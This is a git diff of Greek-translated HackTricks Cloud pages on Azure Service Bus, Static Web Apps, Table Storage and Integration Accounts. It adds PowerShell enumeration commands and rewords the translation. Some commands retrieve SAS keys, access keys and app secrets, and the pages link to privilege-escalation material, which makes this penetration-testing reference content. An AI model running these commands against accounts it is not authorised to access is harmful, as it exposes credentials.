--resource-group <resource-group-name> \
|
||||
--integration-account <integration-account-name> \
|
||||
--assembly-artifact-name <assembly-name>
|
||||
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.LogicApp
|
||||
|
||||
# Retrieve details of an integration account
|
||||
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
|
||||
|
||||
# Retrieve the callback URL of an integration account
|
||||
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
|
||||
|
||||
# Retrieve details of a specific agreement in an integration account
|
||||
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
|
||||
|
||||
# Retrieve details of a specific assembly in an integration account
|
||||
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
|
||||
|
||||
# Retrieve details of a specific batch configuration in an integration account
|
||||
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
|
||||
|
||||
# Retrieve details of a specific certificate in an integration account
|
||||
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
|
||||
|
||||
# Retrieve details of a specific map in an integration account
|
||||
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
|
||||
|
||||
# Retrieve details of a specific partner in an integration account
|
||||
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
|
||||
|
||||
# Retrieve details of a specific schema in an integration account
|
||||
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## Ανύψωση Προνομίων
|
||||
|
||||
Ίδιο με την ανύψωση προνομίων των λογικών εφαρμογών:
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
|
||||
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Μετά την Εκμετάλλευση
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
|
||||
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## Service Bus
|
||||
|
||||
Η Azure Service Bus είναι μια υπηρεσία **μηνυμάτων** βασισμένη στο cloud, σχεδιασμένη για να επιτρέπει αξιόπιστη **επικοινωνία μεταξύ διαφορετικών τμημάτων μιας εφαρμογής ή ξεχωριστών εφαρμογών**. Λειτουργεί ως ασφαλής μεσάζων, διασφαλίζοντας ότι τα μηνύματα παραδίδονται με ασφάλεια, ακόμη και αν ο αποστολέας και ο παραλήπτης δεν λειτουργούν ταυτόχρονα. Αποσυνδέοντας τα συστήματα, επιτρέπει στις εφαρμογές να λειτουργούν ανεξάρτητα ενώ εξακολουθούν να ανταλλάσσουν δεδομένα ή οδηγίες. Είναι ιδιαίτερα χρήσιμη για σενάρια που απαιτούν κατανομή φορτίου σε πολλούς εργαζόμενους, αξιόπιστη παράδοση μηνυμάτων ή σύνθετο συντονισμό, όπως η επεξεργασία εργασιών με σειρά ή η ασφαλής διαχείριση πρόσβασης.
|
||||
Το Azure Service Bus είναι μια υπηρεσία **μηνυμάτων** που βασίζεται στο cloud, σχεδιασμένη για να επιτρέπει αξιόπιστη **επικοινωνία μεταξύ διαφορετικών τμημάτων μιας εφαρμογής ή ξεχωριστών εφαρμογών**. Λειτουργεί ως ασφαλής μεσάζων, διασφαλίζοντας ότι τα μηνύματα παραδίδονται με ασφάλεια, ακόμη και αν ο αποστολέας και ο παραλήπτης δεν λειτουργούν ταυτόχρονα. Αποσυνδέοντας τα συστήματα, επιτρέπει στις εφαρμογές να λειτουργούν ανεξάρτητα ενώ εξακολουθούν να ανταλλάσσουν δεδομένα ή οδηγίες. Είναι ιδιαίτερα χρήσιμο για σενάρια που απαιτούν κατανομή φορτίου σε πολλούς εργαζόμενους, αξιόπιστη παράδοση μηνυμάτων ή σύνθετο συντονισμό, όπως η επεξεργασία εργασιών με σειρά ή η ασφαλής διαχείριση πρόσβασης.
|
||||
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** ο σκοπός του είναι να αποθηκεύει μηνύματα μέχρι να είναι έτοιμος ο παραλήπτης.
|
||||
- Τα μηνύματα είναι διατεταγμένα, χρονοσημασμένα και αποθηκεύονται με ανθεκτικότητα.
|
||||
- Τα μηνύματα είναι ταξινομημένα, χρονοσημασμένα και αποθηκευμένα με ανθεκτικότητα.
|
||||
- Παραδίδονται σε λειτουργία pull (ανάκτηση κατόπιν αιτήματος).
|
||||
- Υποστηρίζει επικοινωνία σημείου προς σημείο.
|
||||
2. **Topics:** Μηχανισμός δημοσίευσης-εγγραφής για μετάδοση.
|
||||
@@ -20,10 +20,10 @@
|
||||
|
||||
### Advance Features
|
||||
|
||||
Ορισμένες προηγμένες δυνατότητες είναι:
|
||||
Ορισμένα προηγμένα χαρακτηριστικά είναι:
|
||||
|
||||
- **Message Sessions**: Διασφαλίζει την επεξεργασία FIFO και υποστηρίζει πρότυπα αιτήματος-απάντησης.
|
||||
- **Auto-Forwarding**: Μεταφέρει μηνύματα μεταξύ ουρών ή θεμάτων στην ίδια ζώνη ονομάτων.
|
||||
- **Auto-Forwarding**: Μεταφέρει μηνύματα μεταξύ ουρών ή θεμάτων στην ίδια περιοχή ονομάτων.
|
||||
- **Dead-Lettering**: Καταγράφει τα μη παραδιδόμενα μηνύματα για ανασκόπηση.
|
||||
- **Scheduled Delivery**: Καθυστερεί την επεξεργασία μηνυμάτων για μελλοντικές εργασίες.
|
||||
- **Message Deferral**: Αναβάλλει την ανάκτηση μηνυμάτων μέχρι να είναι έτοιμα.
|
||||
@@ -35,21 +35,25 @@
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
Οι πολιτικές SAS καθορίζουν τις άδειες πρόσβασης για τις οντότητες του Azure Service Bus namespace (Πιο Σημαντικό), ουρές και θέματα. Κάθε πολιτική έχει τα εξής συστατικά:
|
||||
Οι πολιτικές SAS καθορίζουν τα δικαιώματα πρόσβασης για τις οντότητες του Azure Service Bus (Η πιο σημαντική), τις ουρές και τα θέματα. Κάθε πολιτική έχει τα εξής συστατικά:
|
||||
|
||||
- **Permissions**: Επιλογές για να καθορίσετε τα επίπεδα πρόσβασης:
|
||||
- Manage: Παρέχει πλήρη έλεγχο της οντότητας, συμπεριλαμβανομένης της διαχείρισης ρυθμίσεων και αδειών.
|
||||
- Manage: Παρέχει πλήρη έλεγχο της οντότητας, συμπεριλαμβανομένης της διαχείρισης ρυθμίσεων και δικαιωμάτων.
|
||||
- Send: Επιτρέπει την αποστολή μηνυμάτων στην οντότητα.
|
||||
- Listen: Επιτρέπει την λήψη μηνυμάτων από την οντότητα.
|
||||
- **Primary and Secondary Keys**: Αυτά είναι κρυπτογραφικά κλειδιά που χρησιμοποιούνται για τη δημιουργία ασφαλών tokens για την αυθεντικοποίηση πρόσβασης.
|
||||
- **Primary and Secondary Connection Strings**: Προρυθμισμένες συμβολοσειρές σύνδεσης που περιλαμβάνουν το endpoint και το κλειδί για εύκολη χρήση σε εφαρμογές.
|
||||
- **SAS Policy ARM ID**: Ο δρόμος Azure Resource Manager (ARM) προς την πολιτική για προγραμματιστική αναγνώριση.
|
||||
- **SAS Policy ARM ID**: Η διαδρομή Azure Resource Manager (ARM) προς την πολιτική για προγραμματιστική αναγνώριση.
|
||||
|
||||
### NameSpace
|
||||
|
||||
sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -77,7 +81,59 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
### Ανάβαση Δικαιωμάτων
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.ServiceBus
|
||||
|
||||
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
|
||||
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
|
||||
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
|
||||
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
|
||||
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
|
||||
|
||||
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
|
||||
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves properties and details about a Service Bus namespace.
|
||||
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
|
||||
|
||||
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
|
||||
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private endpoint connections for a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves private link resources associated with a Service Bus namespace.
|
||||
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
|
||||
# Retrieves details of a specified queue in a Service Bus namespace.
|
||||
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
|
||||
|
||||
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
|
||||
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
|
||||
|
||||
# Retrieves details of subscriptions for a specified Service Bus topic.
|
||||
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
|
||||
|
||||
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
### Ανύψωση Δικαιωμάτων
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-servicebus-privesc.md
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Static Web Apps Basic Information
|
||||
|
||||
Azure Static Web Apps είναι μια υπηρεσία cloud για τη φιλοξενία **στατικών web apps με αυτόματη CI/CD από αποθετήρια όπως το GitHub**. Προσφέρει παγκόσμια παράδοση περιεχομένου, serverless backends και ενσωματωμένο HTTPS, καθιστώντας την ασφαλή και κλιμακούμενη. Ωστόσο, ακόμη και αν η υπηρεσία ονομάζεται "στατική", δεν σημαίνει ότι είναι εντελώς ασφαλής. Οι κίνδυνοι περιλαμβάνουν κακή διαμόρφωση CORS, ανεπαρκή αυθεντικοποίηση και παραποίηση περιεχομένου, που μπορεί να εκθέσουν τις εφαρμογές σε επιθέσεις όπως XSS και διαρροή δεδομένων αν δεν διαχειριστούν σωστά.
|
||||
Azure Static Web Apps είναι μια υπηρεσία cloud για τη φιλοξενία **στατικών web apps με αυτόματη CI/CD από αποθετήρια όπως το GitHub**. Προσφέρει παγκόσμια παράδοση περιεχομένου, serverless backends και ενσωματωμένο HTTPS, καθιστώντας την ασφαλή και κλιμακούμενη. Ωστόσο, ακόμη και αν η υπηρεσία ονομάζεται "στατική", δεν σημαίνει ότι είναι εντελώς ασφαλής. Οι κίνδυνοι περιλαμβάνουν κακή ρύθμιση CORS, ανεπαρκή αυθεντικοποίηση και παραποίηση περιεχομένου, που μπορεί να εκθέσουν τις εφαρμογές σε επιθέσεις όπως XSS και διαρροή δεδομένων αν δεν διαχειριστούν σωστά.
|
||||
|
||||
### Deployment Authentication
|
||||
|
||||
@@ -17,7 +17,7 @@ Azure Static Web Apps είναι μια υπηρεσία cloud για τη φι
|
||||
|
||||
### Web App Basic Authentication
|
||||
|
||||
Είναι δυνατόν να **ρυθμίσετε έναν κωδικό πρόσβασης** για την πρόσβαση στην Web App. Η web κονσόλα επιτρέπει τη ρύθμιση του για να προστατεύει μόνο τα περιβάλλοντα staging ή και τα δύο, staging και παραγωγής.
|
||||
Είναι δυνατόν να **ρυθμίσετε έναν κωδικό πρόσβασης** για την πρόσβαση στην Web App. Η web κονσόλα επιτρέπει να ρυθμιστεί ώστε να προστατεύει μόνο τα περιβάλλοντα staging ή και τα δύο, staging και παραγωγής.
|
||||
|
||||
Αυτή είναι η εμφάνιση μιας προστατευμένης με κωδικό πρόσβασης web app τη στιγμή που γράφεται:
|
||||
|
||||
@@ -76,6 +76,10 @@ az rest --method GET \
|
||||
Για περισσότερες πληροφορίες μπορείτε να βρείτε έναν οδηγό Azure για τη χρήση ενός μυστικού vault σε μια στατική εφαρμογή στο https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# List Static Webapps
|
||||
az staticwebapp list --output table
|
||||
@@ -107,6 +111,59 @@ az rest --method POST \
|
||||
# Check connected backends
|
||||
az staticwebapp backends show --name <name> --resource-group <res-group>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.Websites
|
||||
|
||||
# Retrieves details of a specific Static Web App in the specified resource group.
|
||||
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the build details for a specific Static Web App.
|
||||
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the application settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves functions for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves function app settings for a specific build environment in a Static Web App.
|
||||
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
|
||||
|
||||
# Retrieves the configured roles for a Static Web App.
|
||||
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the custom domains configured for a Static Web App.
|
||||
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves details of the functions associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the app settings for the function app associated with a Static Web App.
|
||||
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves the secrets for a Static Web App.
|
||||
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves general app settings for a Static Web App.
|
||||
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
# Retrieves user details for a Static Web App with a specified authentication provider.
|
||||
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
|
||||
|
||||
# Retrieves user-provided function apps associated with a Static Web App.
|
||||
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
|
||||
## Παραδείγματα για τη δημιουργία Ιστοσελίδων
|
||||
|
||||
Μπορείτε να βρείτε ένα ωραίο παράδειγμα για τη δημιουργία μιας ιστοσελίδας στον παρακάτω σύνδεσμο: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
|
||||
|
||||
@@ -4,21 +4,21 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Table Storage** είναι ένα NoSQL key-value store σχεδιασμένο για την αποθήκευση μεγάλων όγκων δομημένων, μη σχεσιακών δεδομένων. Προσφέρει υψηλή διαθεσιμότητα, χαμηλή καθυστέρηση και κλιμακωσιμότητα για την αποτελεσματική διαχείριση μεγάλων συνόλων δεδομένων. Τα δεδομένα οργανώνονται σε πίνακες, με κάθε οντότητα να προσδιορίζεται από ένα partition key και ένα row key, επιτρέποντας γρήγορες αναζητήσεις. Υποστηρίζει χαρακτηριστικά όπως κρυπτογράφηση σε κατάσταση ηρεμίας, έλεγχο πρόσβασης βάσει ρόλων και υπογραφές κοινής πρόσβασης για ασφαλή, διαχειριζόμενη αποθήκευση κατάλληλη για ένα ευρύ φάσμα εφαρμογών.
|
||||
**Azure Table Storage** είναι μια NoSQL αποθήκη κλειδιού-τιμής σχεδιασμένη για την αποθήκευση μεγάλων όγκων δομημένων, μη σχεσιακών δεδομένων. Προσφέρει υψηλή διαθεσιμότητα, χαμηλή καθυστέρηση και κλιμακωσιμότητα για την αποτελεσματική διαχείριση μεγάλων συνόλων δεδομένων. Τα δεδομένα οργανώνονται σε πίνακες, με κάθε οντότητα να προσδιορίζεται από ένα partition key και ένα row key, επιτρέποντας γρήγορες αναζητήσεις. Υποστηρίζει χαρακτηριστικά όπως κρυπτογράφηση σε κατάσταση ηρεμίας, έλεγχο πρόσβασης βάσει ρόλου και υπογραφές κοινής πρόσβασης για ασφαλή, διαχειριζόμενη αποθήκευση κατάλληλη για ένα ευρύ φάσμα εφαρμογών.
|
||||
|
||||
Δεν **υπάρχει ενσωματωMechanism backup** για την αποθήκευση πίνακα.
|
||||
Δεν **υπάρχει ενσωματωμένος μηχανισμός δημιουργίας αντιγράφων ασφαλείας** για την αποθήκευση πίνακα.
|
||||
|
||||
### Keys
|
||||
|
||||
#### **PartitionKey**
|
||||
|
||||
- Το **PartitionKey ομαδοποιεί τις οντότητες σε λογικά partitions**. Οι οντότητες με το ίδιο PartitionKey αποθηκεύονται μαζί, γεγονός που βελτιώνει την απόδοση των ερωτημάτων και την κλιμακωσιμότητα.
|
||||
- Το **PartitionKey ομαδοποιεί τις οντότητες σε λογικές κατανομές**. Οι οντότητες με το ίδιο PartitionKey αποθηκεύονται μαζί, γεγονός που βελτιώνει την απόδοση των ερωτημάτων και την κλιμακωσιμότητα.
|
||||
- Παράδειγμα: Σε έναν πίνακα που αποθηκεύει δεδομένα υπαλλήλων, το `PartitionKey` μπορεί να αντιπροσωπεύει ένα τμήμα, π.χ., `"HR"` ή `"IT"`.
|
||||
|
||||
#### **RowKey**
|
||||
|
||||
- Το **RowKey είναι ο μοναδικός προσδιοριστής** για μια οντότητα εντός ενός partition. Όταν συνδυάζεται με το PartitionKey, διασφαλίζει ότι κάθε οντότητα στον πίνακα έχει έναν παγκοσμίως μοναδικό προσδιοριστή.
|
||||
- Παράδειγμα: Για το partition `"HR"`, το `RowKey` μπορεί να είναι ένα ID υπαλλήλου, π.χ., `"12345"`.
|
||||
- Το **RowKey είναι ο μοναδικός προσδιοριστής** για μια οντότητα εντός μιας κατανομής. Όταν συνδυάζεται με το PartitionKey, διασφαλίζει ότι κάθε οντότητα στον πίνακα έχει έναν παγκοσμίως μοναδικό προσδιοριστή.
|
||||
- Παράδειγμα: Για την κατανομή `"HR"`, το `RowKey` μπορεί να είναι ένα ID υπαλλήλου, π.χ., `"12345"`.
|
||||
|
||||
#### **Other Properties (Custom Properties)**
|
||||
|
||||
@@ -69,6 +69,8 @@ Get-AzStorageAccount
|
||||
|
||||
# List tables
|
||||
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
|
||||
|
||||
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
Reference in New Issue
Block a user